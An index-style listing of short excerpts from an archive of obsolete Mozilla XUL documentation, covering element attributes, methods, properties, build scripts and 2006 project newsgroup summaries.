object - Archive of obsolete content
it can be a variable reference, an rdf resource uri, or an rdf literal value.
onbeforeaccept - Archive of obsolete content
« xul reference home onbeforeaccept type: script code the code in this attribute is called when the ok button is pressed or the acceptdialog method is called.
onchange - Archive of obsolete content
a change event is fired in different ways for different xul input elements as listed below: onchange type: script code textbox when enter key is pressed radio/check box when the state is changed select list when the selected item is changed what is accessible the script context at this point can only access the following things: global values/functions i.e.
onclick - Archive of obsolete content
« xul reference home onclick type: script code this event handler is called when the object is clicked.
onclosetab - Archive of obsolete content
« xul reference home onclosetab type: script code this script will be called when the close tab button is clicked.
oncommand - Archive of obsolete content
« xul reference home oncommand type: script code this event handler is called when the command is activated.
onerrorcommand - Archive of obsolete content
« xul reference home onerrorcommand type: script code this event handler is called when an error occurs when selecting a result from the popup.
oninput - Archive of obsolete content
this event is only called when the text displayed would change, thus it is not called when the user presses non-displayable keys.
onnewtab - Archive of obsolete content
« xul reference home onnewtab not in firefox type: script code this script will be called when the new tab button is clicked.
onpaneload - Archive of obsolete content
« xul reference home onpaneload type: script code code defined here is called when the pane has been loaded, much like the load event for a window.
onpopupshowing - Archive of obsolete content
this handler is usually used to dynamically set the contents when the user requests to display it.
onsearchbegin - Archive of obsolete content
« xul reference home onsearchbegin type: script code this event handler is called when the autocomplete search begins.
onsearchcomplete - Archive of obsolete content
« xul reference home onsearchcomplete new in thunderbird 3requires seamonkey 2.0 type: script code this event handler is called when the autocomplete search is finished and results are available.
ontextcommand - Archive of obsolete content
« xul reference home ontextcommand obsolete since gecko 1.9.1 type: script code note: applies to: thunderbird, seamonkeythis event handler is called when a result is selected for the textbox.
ontextentered - Archive of obsolete content
« xul reference home ontextentered new in thunderbird 3requires seamonkey 2.0 type: script code this event handler is called when a result is selected for the textbox.
ontextrevert - Archive of obsolete content
« xul reference home ontextrevert obsolete since gecko 1.9.1 type: script code note: applies to: thunderbird, seamonkey this event handler is called when the user presses escape to revert the textbox to its original uncompleted value.
ontextreverted - Archive of obsolete content
« xul reference home ontextreverted new in thunderbird 3requires seamonkey 2.0 type: script code this event handler is called when the user presses escape to revert the textbox to its original uncompleted value.
panel.type - Archive of obsolete content
the panel may not appear on the side of the anchor that you requested in which case the arrow will automatically adjust.
pending - Archive of obsolete content
you can determine if a tab is being restored by checking to see if hasattribute("pending") is true.
persist - Archive of obsolete content
persistence can also be stored using the document.persist function.
phase - Archive of obsolete content
this should be set to the value capturing to indicate during the event capturing phase or target to indicate at the target element or left out entirely for the bubbling phase.
popup.top - Archive of obsolete content
« xul reference home top type: integer overrides the vertical position of the popup specified by the showpopup method.
preference.type - Archive of obsolete content
int an integer string a string unichar a unicode string wstring a localized string.
prefwindow.onload - Archive of obsolete content
« xul reference home prefwindow.onload type: script code when a window finishes loading, it calls this event handler on the prefwindow element.
progressmeter.value - Archive of obsolete content
« xul reference home value type: integer an integer ranging from 0 to the maximum value that indicates the progress.
properties - Archive of obsolete content
« xul reference home properties type: space-separated list of property names sets the properties of the element, which can be used to style the element.
querytype - Archive of obsolete content
« xul reference home querytype type: string indicates the type of datasource used in a template.
readonly - Archive of obsolete content
« xul reference home readonly type: boolean if set to true, then the user cannot change the value of the element.
rel - Archive of obsolete content
ArchiveMozillaXULAttributerel
less the numeric value of the subject must be less than the value greater the numeric value of the subject must be greater than the value before the string value of subject must come before value alphabetically after the string value of subject must come after value alphabetically startswith the value of subject must start with the value endswith the value of subject must end with the value contains the value of subject must contain the value as a substring ...
removeelement - Archive of obsolete content
« xul reference home removeelement type: id when placed on an element in an overlay, it indicates that the element in the base file should be removed from the window.
resizeafter - Archive of obsolete content
« xul reference home resizeafter type: one of the values below this attribute indicates which element to the right or below the splitter should be resized when the splitter is repositioned.
resizebefore - Archive of obsolete content
« xul reference home resizebefore type: one of the values below this attribute indicates which element to the left or above the splitter should be resized when the splitter is repositioned.
resizer.type - Archive of obsolete content
as some platforms provide this resizing grip automatically, this type of resizer element will be hidden and ensure that the window does not get an extra resizer.
rows - Archive of obsolete content
ArchiveMozillaXULAttributerows
if the element contains more than this number of rows, a scrollbar will appear which the user can use to scroll to the other rows.
screenY - Archive of obsolete content
« xul reference home screeny type: integer the vertical position at which the window appears on the screen.
searchSessions - Archive of obsolete content
« xul reference home searchsessions obsolete since gecko 26 type: space-separated list of session names set to a keyword indicating what type of data to look up for autocomplete.
searchlabel - Archive of obsolete content
in situations where the search text is ambiguous or missing, searchlabel can be used to give context to fayt.
selected - Archive of obsolete content
« xul reference home selected type: boolean indicates whether the element is selected or not.
showpopup - Archive of obsolete content
you can set this to false and set the autofill attribute to true to emulate a communicator 4.x style autocomplete textbox.
size - Archive of obsolete content
ArchiveMozillaXULAttributesize
« xul reference home size type: integer the number of characters that can be displayed in the textbox.
sizemode - Archive of obsolete content
it can have one of the following values: maximized the window is maximized, and occupies the full size of the screen.
sizetopopup - Archive of obsolete content
« xul reference home sizetopopup type: one of the values below indicates how the menu width and the menupopup width are determined.
sortResource - Archive of obsolete content
the key should be the full uri of the rdf resource to sort by, for example 'http://home.netscape.com/nc-rdf#name'.
sortResource2 - Archive of obsolete content
« xul reference home sortresource2 type: uri the value of this attribute is the uri of an rdf predicate that serves as a secondary key for sorted content.
statedatasource - Archive of obsolete content
if you do not specify this attribute, state information will be stored in the local store (rdf:local-store).
stringbundle.src - Archive of obsolete content
« xul reference home src type: uri the uri of the property file that contains the localized strings.
subject - Archive of obsolete content
it can be a variable reference or an rdf resource uri.
suppressonselect - Archive of obsolete content
« xul reference home suppressonselect type: boolean if this attribute is not specified, a select event is fired whenever an item is selected, either by the user or by calling one of the select methods.
textbox.autoFill - Archive of obsolete content
as of gecko 1.9.1, this attribute is now always specified in lower case.
textbox.disableAutocomplete - Archive of obsolete content
as of gecko 1.9.1, this attribute is now always specified in lower case.
textbox.forceComplete - Archive of obsolete content
as of gecko 1.9.1, this attribute is now always specified in lower case.
textbox.ignoreBlurWhileSearching - Archive of obsolete content
as of gecko 1.9.1, this attribute is now always specified in lower case.
textbox.showCommentColumn - Archive of obsolete content
as of gecko 1.9.1, this attribute is now always specified in lower case.
textbox.tabScrolling - Archive of obsolete content
if false, the default, the tab key moves the focus to the next element.as of gecko 1.9.1, this attribute is now always specified in lower case.
textnode.value - Archive of obsolete content
this value should be an rdf property (predicate).
timepicker.increment - Archive of obsolete content
« xul reference home increment type: integer indicates the number of minutes to skip each time the arrows are pressed.
tooltip - Archive of obsolete content
the tooltip will automatically disappear when the mouse is moved.
tooltiptext - Archive of obsolete content
this can be used instead of setting the tooltip to a popup for the common case where it contains only text.
tree.editable - Archive of obsolete content
« xul reference home editable type: boolean indicates that the cells of the tree may be edited.
tree.onselect - Archive of obsolete content
the user can select multiple rows by holding down shift or control and clicking on a row.
treecell.editable - Archive of obsolete content
when the user double-clicks an editable cell, a text field appears in which the user can edit the contents of the cell.
treecell.src - Archive of obsolete content
you can have both an image and a label.
treecol.editable - Archive of obsolete content
when the user double-clicks an editable cell, a text field appears in which the user can edit the contents of the cell.
treecol.src - Archive of obsolete content
you cannot have both an image and a label displayed in the header.
treecol.width - Archive of obsolete content
specifying widths for your columns causes gecko to allow the tree to be scrolled horizontally if it is wider than the available space.
treeitem.label - Archive of obsolete content
« xul reference home label tipo: string (concatenación de caracteres) para un árbol tree con columnas simples, la etiqueta puede ser colocada directamnete sobre el elemeto "treeitem" sin la necesidad de una fila "row" y un elemento "treeitem" dentro.
type - Archive of obsolete content
ArchiveMozillaXULAttributetype
see button.type browser.type colorpicker.type datepicker.type editor.type listcell.type listitem.type menuitem.type notification.type prefwindow.type query.type script.type textbox.type toolbarbutton.type treecol.type ...
onunload - Archive of obsolete content
« xul reference home onunload type: script code closing the window calls this event handler on the prefwindow element.
value - Archive of obsolete content
it is not used for any specific purpose, but you can access it with a script for your own use.
visuallyselected - Archive of obsolete content
indicates that a tab is selected.
wait-cursor - Archive of obsolete content
in order to revert to the normal cursor state call the method removeattribute("wait-cursor") when the process effectively has ended otherwise the wait cursor might never disappear.
width - Archive of obsolete content
<vbox width="30" align="start" style="background-color: red;"> <label value="vbox xul width 10px red"/> </vbox> note: when used on treecol objects, the width attribute can be used to allow a tree to be scrolled horizontally if the column widths add up to be wider than the containing object.
windowtype - Archive of obsolete content
« xul reference home windowtype type: string set to a string which can be used to identify the type of window.
TOC - Archive of obsolete content
ArchiveMozillaXULFileGuideTOC
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
addSession - Archive of obsolete content
this can be used to create a customized autocomplete results list.
appendCustomToolbar - Archive of obsolete content
you can supply a comma-separated list of toolbar item ids as the second argument to add some items by default.
click - Archive of obsolete content
ArchiveMozillaXULMethodclick
« xul reference home click() return type: no return value calls the onclick handler for the element.
close - Archive of obsolete content
ArchiveMozillaXULMethodclose
« xul reference home close() return type: no return value closes the notification or findbar and removes it from its enclosing notificationbox or findbar.
decrease - Archive of obsolete content
« xul reference home method of: scale textbox decrease() return type: no return value decreases the value of the scale or number box by the increment.
decreasePage - Archive of obsolete content
« xul reference home method of: scale decreasepage() return type: no return value decreases the value of the scale by the pageincrement.
getIndexOfFirstVisibleRow - Archive of obsolete content
note that this is not the same as the first row -- if the displayed items have been scrolled down, this function will retrieve the index of the first row that the user can see.
getSelectedItem - Archive of obsolete content
« xul reference home getselecteditem( index ) return type: element when multiple items are selected, you can retrieve each selected item using this method.
increase - Archive of obsolete content
« xul reference home method of: scale textbox increase() return type: no return value increases the value of the scale or number box by the increment.
increasePage - Archive of obsolete content
« xul reference home method of: scale increasepage() return type: no return value increases the value of the scale by the page increment.
loadOneTab - Archive of obsolete content
there's also no owner parameter as the owner tab is specified automatically.
openPopupAtScreen - Archive of obsolete content
this position may be adjusted if it would cause the popup to be off of the screen.
reload - Archive of obsolete content
ArchiveMozillaXULMethodreload
« xul reference home reload() return type: no return value reloads the document in the browser element on which you call this method.
removeItemAt - Archive of obsolete content
listbox = document.getelementbyid('mylistbox'); var count = mylistbox.itemcount; while(count-- > 0){ mylistbox.removeitemat(0); } } </script> <button label="remove selected item" oncommand="removeselecteditem()"/> <button label="remove all items" oncommand="removeallitems()"/> <listbox id="mylistbox"> <listitem label="alpha"/> <listitem label="beta"/> <listitem label="oscar"/> <listitem label="foxtrot"/> </listbox> see also removeallitems() insertitemat() ...
removeTab - Archive of obsolete content
if only one tab is displayed, this method does nothing (unless the preference browser.tabs.closewindowwithlasttab is true, in which case the window containing the tab is closed).
replaceGroup - Archive of obsolete content
you can use the removetab method to remove the existing tabs first if that is desired.
scrollToIndex - Archive of obsolete content
this is different than ensureindexisvisible because the view is always scrolled.
stopEditing - Archive of obsolete content
if the shouldaccept parameter is true, the cell's label is changed to the edited value (the tree view's nsitreeview.setcelltext() method is called to change the cell contents).
Other Resources - Archive of obsolete content
links creating applications with mozilla xul periodic table online example of nearly every xul element.
browser - Archive of obsolete content
« xul reference browser type: browser element lets you set and get the browser in which the findbar is located.
boxObject - Archive of obsolete content
prior to gecko 1.9.1, you can retrieve the boxobject for non-xul elements using the document.getboxobjectfor method; the method was removed in gecko 1.9.1 because it was non-standard.
color - Archive of obsolete content
ArchiveMozillaXULPropertycolor
you can assign a string of the form #rrggbb to this property to change the selected color.
contextMenu - Archive of obsolete content
note that the value of this property does not reflect the value of the context attribute, which is otherwise identical to the contextmenu attribute.
controllers - Archive of obsolete content
the document's command dispatcher will locate controllers to handle a command by using the focused element's list.
currentPage - Archive of obsolete content
you can modify this value to change the current page.
currentSet - Archive of obsolete content
be careful, as setting this property doesn't automatically update the currentset attribute.
dateLeadingZero - Archive of obsolete content
« xul reference dateleadingzero type: boolean a read only value indicating whether a leading zero should be displayed before the date when it is less than 10.
decimalSymbol - Archive of obsolete content
« xul reference decimalsymbol type: string the character used for the decimal place indicator.
defaultButton - Archive of obsolete content
typically, this means that the button will be activated when the enter key is pressed.
emptyText - Archive of obsolete content
« xul reference emptytext deprecated since gecko 2 type: string gets and sets a string that appears in the textbox when it has no value.
eventNode - Archive of obsolete content
« xul reference eventnode type: eventtarget indicates the node where keyboard navigation events listener is set up.
focusedItem - Archive of obsolete content
you can change the focused item by setting this property.
hideSeconds - Archive of obsolete content
« xul reference hideseconds type: boolean indicates whether the seconds field is visible or not.
hourLeadingZero - Archive of obsolete content
« xul reference hourleadingzero type: boolean a read only value indicating whether a leading zero should be displayed before the hour when it is less than 10.
instantApply - Archive of obsolete content
« xul referenceinstantapplytype: booleanyou can set this attribute to true to make the preference apply instantly, even when the global setting is not to use instant apply.
maxWidth - Archive of obsolete content
note: prior to gecko 6.0, you could use this on <input> elements; this was never intended, was a violation of the html specification, and has been fixed.
minuteLeadingZero - Archive of obsolete content
« xul reference minuteleadingzero type: boolean a read only value indicating whether a leading zero should be displayed before the minute when it is less than 10.
monthLeadingZero - Archive of obsolete content
« xul reference monthleadingzero type: boolean a read only value indicating whether a leading zero should be displayed before the month when it is less than 10.
next - Archive of obsolete content
ArchiveMozillaXULPropertynext
this can be used to create wizards that do not have a linear sequence.
object - Archive of obsolete content
it can be a variable reference, an rdf resource uri, or an rdf literal value.
observes - Archive of obsolete content
« xul reference observes type: broadcaster element id gets and sets the value of the observes attribute.
pageIndex - Archive of obsolete content
you can change the selected page by modifying this property.
pageStep - Archive of obsolete content
this property is different than pageindex, because pages are not necessarily navigated in order.
popupOpen - Archive of obsolete content
« xul reference popupopen new in thunderbird 15 requires seamonkey 2.12 type: boolean indicates whether the popup is open or not.
readOnly - Archive of obsolete content
« xul reference readonly type: boolean if set to true, then the user cannot modify the value of the element.
richlistitem.label - Archive of obsolete content
« xul reference label type: string gets the concatentation of text from any child label elements.
secondLeadingZero - Archive of obsolete content
« xul reference secondleadingzero type: boolean a read only value indicating whether a leading zero should be displayed before the second when it is less than 10.
selectedItem - Archive of obsolete content
you can select an item by setting this value.
selectionEnd - Archive of obsolete content
if this value is equal to the value of the selectionstart property, no text is selected, but the value indicates the position of the caret (cursor) within the textbox.
smoothScroll - Archive of obsolete content
« xul reference smoothscroll type: boolean can be set to enable or disable smooth scrolling for the corresponding arrowscrollbox.
state - Archive of obsolete content
ArchiveMozillaXULPropertystate
« xul reference state type: string this read only property indicates whether the popup is open or not.
subject - Archive of obsolete content
it can be a variable reference or an rdf resource uri.
tag - Archive of obsolete content
ArchiveMozillaXULPropertytag
thus, nested elements will not match because they are directly inside a treeitem.
textValue - Archive of obsolete content
note: setting the value causes an input event to be generated without triggering autocompletion.
textbox.label - Archive of obsolete content
otherwise it returns the value of the associated label element, if applicable.
uri - Archive of obsolete content
ArchiveMozillaXULPropertyuri
when a rule is evaluated, it scans through each resource in the rdf datasource looking for a match.
view - Archive of obsolete content
ArchiveMozillaXULPropertyview
you can assign an object which implements nsitreeview to this property.
webBrowserFind - Archive of obsolete content
« xul reference webbrowserfind type: nsiwebbrowserfind this read-only property contains an nsiwebbrowserfind object which can be used to search for text in the document.
webNavigation - Archive of obsolete content
most of its methods are callable directly on the element itself, such as goback and goforward.
yearLeadingZero - Archive of obsolete content
« xul reference yearleadingzero type: boolean a read only value indicating whether a leading zero should be displayed before the year when it is less than 1000.
error-icon - Archive of obsolete content
this will typically be a red "x" icon.
header - Archive of obsolete content
ArchiveMozillaXULStyleheader
typically, this will cause the text to appear bold.
indent - Archive of obsolete content
ArchiveMozillaXULStyleindent
« xul reference home indent this class causes the text to be indented on its left side.
monospace - Archive of obsolete content
« xul reference home monospace this class causes the text to be displayed in a monospace font.
plain - Archive of obsolete content
ArchiveMozillaXULStyleplain
« xul reference home plain this class causes the element to be displayed with no border or margin.
small-margin - Archive of obsolete content
« xul reference home small-margin this class causes the text to be displayed with a smaller margin.
Template Guide - Archive of obsolete content
ment properties xml template syntax xml templates xml assignments sql template syntax sqlite templates common template syntax attribute substitution multiple rules using recursive templates building menus with templates special condition tests multiple queries using multiple queries to generate more results building trees with templates building trees building hierarchical trees template modifications template builder interface template and tree listeners rdf modifications additional topics sorting results additional template attributes template logging xml namespaces alternative approaches javascript templates xuljsdatasource: a component for extensions, which bring a "javascript template syntax".
XUL Parser in Python/source - Archive of obsolete content
def strip(snip): t = re.sub('http://.*?\s', '', snip) return t class xulparser(xmllib.xmlparser): def unknown_starttag(self, t, a): name = strip(t) if name not in el_list: el_list[name] = {} for attr,val in a.items(): el_list[name][strip(attr)] = strip(val) def syntax_error(self, message): pass p = xulparser() cmd = 'dir /s /b *.xul' chrome_dir = 'c:\program files\netscape\netscape 6\chrome' os.chdir(chrome_dir) files = os.popen(cmd).readlines() for file in files: file = file.strip() print '** ' + file + ' **' data = open(file).read() p.feed(data) w.write('<html><h3>periodic table of xul elements</h3>') w.write('<table><style>.head {font-weight: bold; background-color: lightgrey;}</style>') elements = el_list.keys() elements.sort() for item in elements: w.
action - Archive of obsolete content
examples example needed attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
assign - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
bbox - Archive of obsolete content
ArchiveMozillaXULbbox
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, t...
clicktoscroll - Archive of obsolete content
if false, the content will scroll automatically when the cursor hovers over either arrow.
column - Archive of obsolete content
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
columns - Archive of obsolete content
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
deck - Archive of obsolete content
ArchiveMozillaXULdeck
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
elements - Archive of obsolete content
a action arrowscrollbox b bbox binding bindings box broadcaster broadcasterset button browser c checkbox caption colorpicker column columns commandset command conditions content d deck description dialog dialogheader e editor grid grippy groupbox h hbox i iframe image k key keyset l label listbox listcell listcol listcols listhead listheader listitem m member menu menubar menuitem menulist menupopup menuseparator o observes overlay p page popup popupset preference preferences prefpane prefwindow progressmeter r radio radiogroup resizer richlistbox richlistitem resizer row rows rule s script scrollbar scrollbox scrollcor...
listcols - Archive of obsolete content
column listbox --> <listbox> <listcols> <listcol flex="1"/> <listcol flex="1"/> </listcols> <listitem> <listcell label="buck"/> <listcell label="rogers"/> </listitem> <listitem> <listcell label="john"/> <listcell label="painter"/> </listitem> </listbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
member - Archive of obsolete content
properties child, container examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
menubar - Archive of obsolete content
properties accessibletype type: integer a value indicating the type of accessibility object for the element.
page - Archive of obsolete content
ArchiveMozillaXULpage
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
popupset - Archive of obsolete content
examples <popupset> <menupopup id="clipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </popupset> <label value="right click for popup" context="clipmenu"/> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
preferences - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
query - Archive of obsolete content
ArchiveMozillaXULquery
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
queryset - Archive of obsolete content
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties i...
row - Archive of obsolete content
ArchiveMozillaXULrow
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
rows - Archive of obsolete content
ArchiveMozillaXULrows
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
spacer - Archive of obsolete content
examples <box> <button label="left"/> <spacer flex="1"/> <button label="right"/> </box> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
stringbundleset - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowe...
tabpanel - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
template - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
toolbarset - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wai...
Article - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
toolkit.defaultChromeFeatures - Archive of obsolete content
type: string specified by: default prefs of xulrunner applications default: "chrome,dialog=no,all" example: pref("toolkit.defaultchromefeatures", "chrome,resizable=no,dialog=no"); the toolkit.defaultchromefeatures preference allows simple xulrunner-based applications to specify what features are passed to window.open() when the main application window is opened.
toolkit.defaultChromeURI - Archive of obsolete content
type: string specified by: default prefs of xulrunner applications default: none example: pref("toolkit.defaultchromeuri", "chrome://myapp/content/"); the toolkit.defaultchromeuri preference allows simple xulrunner-based applications to open a new window when the application is launched.
ant script to assemble an extension - Archive of obsolete content
this ant script helps to package an extension <?xml version="1.0"?> this build file was written by régis décamps <decamps@users.sf.net> <project name="blogmark" default="createxpi"> <property name="version" value="1.3-rc1"/> <property name="description" value="new context-menu item to add the current page in your blogmarks"/> xpi file is created after "chrome/blogmark.jar" is created, which is then stuffed into "blogmark.xpi" <target name="createxpi" depends="createjar" description="assemble the final build blogmark.xpi"> <zip destfile="blogmark-${version}.xpi"> <zipfileset dir="." includes="chrome/blogmark.jar" /> <zip...
symsrv_convert - Archive of obsolete content
for me this was c:/windows/syswow64/ ./symsrv_convert.exe http://msdl.microsoft.com/download/symbols /c/symcachet d3d10_1.pdb 64bce4f6b72340f19c453569a3f4a13b1 to build symsrv_convert you'll need to use google-breakpad/src/tools/windows/converter ...
2006-11-22 - Archive of obsolete content
summary: mozilla.dev.accessibility - nov 17-nov 22, 2006 announcements mozilla osk project grant aaron leventhal (on behalf of michael curran) mentiond that there is now an nvda email list you can join if you wish to keep up to date with the latest changes, or if you wish to discuss new features or talk with other nvda users.
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - september 29 - october 6, 2006 announcements sunbird and lightning 0.3rc1 available gordon announced the candidate (rc) builds for sunbird and lightning 0.3 are released.
2006-11-03 - Archive of obsolete content
event in firefox similar to ondownloadcomplete event in ie a user asks what even can be used that is similar to the ondownloadcomplete even in ie.
2006-11-04 - Archive of obsolete content
in firefox similar to ondownloadcomplete event in ie a user asks what even can be used that is similar to the ondownloadcomplete even in ie.
2006-11-10 - Archive of obsolete content
favicon as microsummary/feed/other stuff indicator suggestion about making the favicon create a bookmark for the page with a microsummary.
2006-11-24 - Archive of obsolete content
a user questions if there is something broken in a nightly build since the user keeps getting this error from the trunk: "firefox.exe - application error: the application failed to initialize properly." removal of false positives in firefox 2 phishing a user inquires how to remove false positives from the firefox phising filters.
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - october 14-20, 2006 announcements eudora goes open source both qualcomm and mozilla will participate in enhancing the capabilities and ease of use of both eudora and thunderbird.
2006-10-27 - Archive of obsolete content
calling tb with a specific message to be displayed there's a new question by guenter about calling tb from an external program (eg.
2006-11-10 - Archive of obsolete content
meetings calendar project weekly status meeting - 2006/11/08 17:00 utc (meeting notes) calendar project weekly qa chat - 2006/11/09 16:30 utc (meeting notes) ...
2006-11-17 - Archive of obsolete content
meetings calendar project weekly status meeting - 2006/11/15 17:00 utc (meeting notes) calendar project weekly qa chat - 2006/11/02 16:30 utc (meeting notes) ...
2006-11-24 - Archive of obsolete content
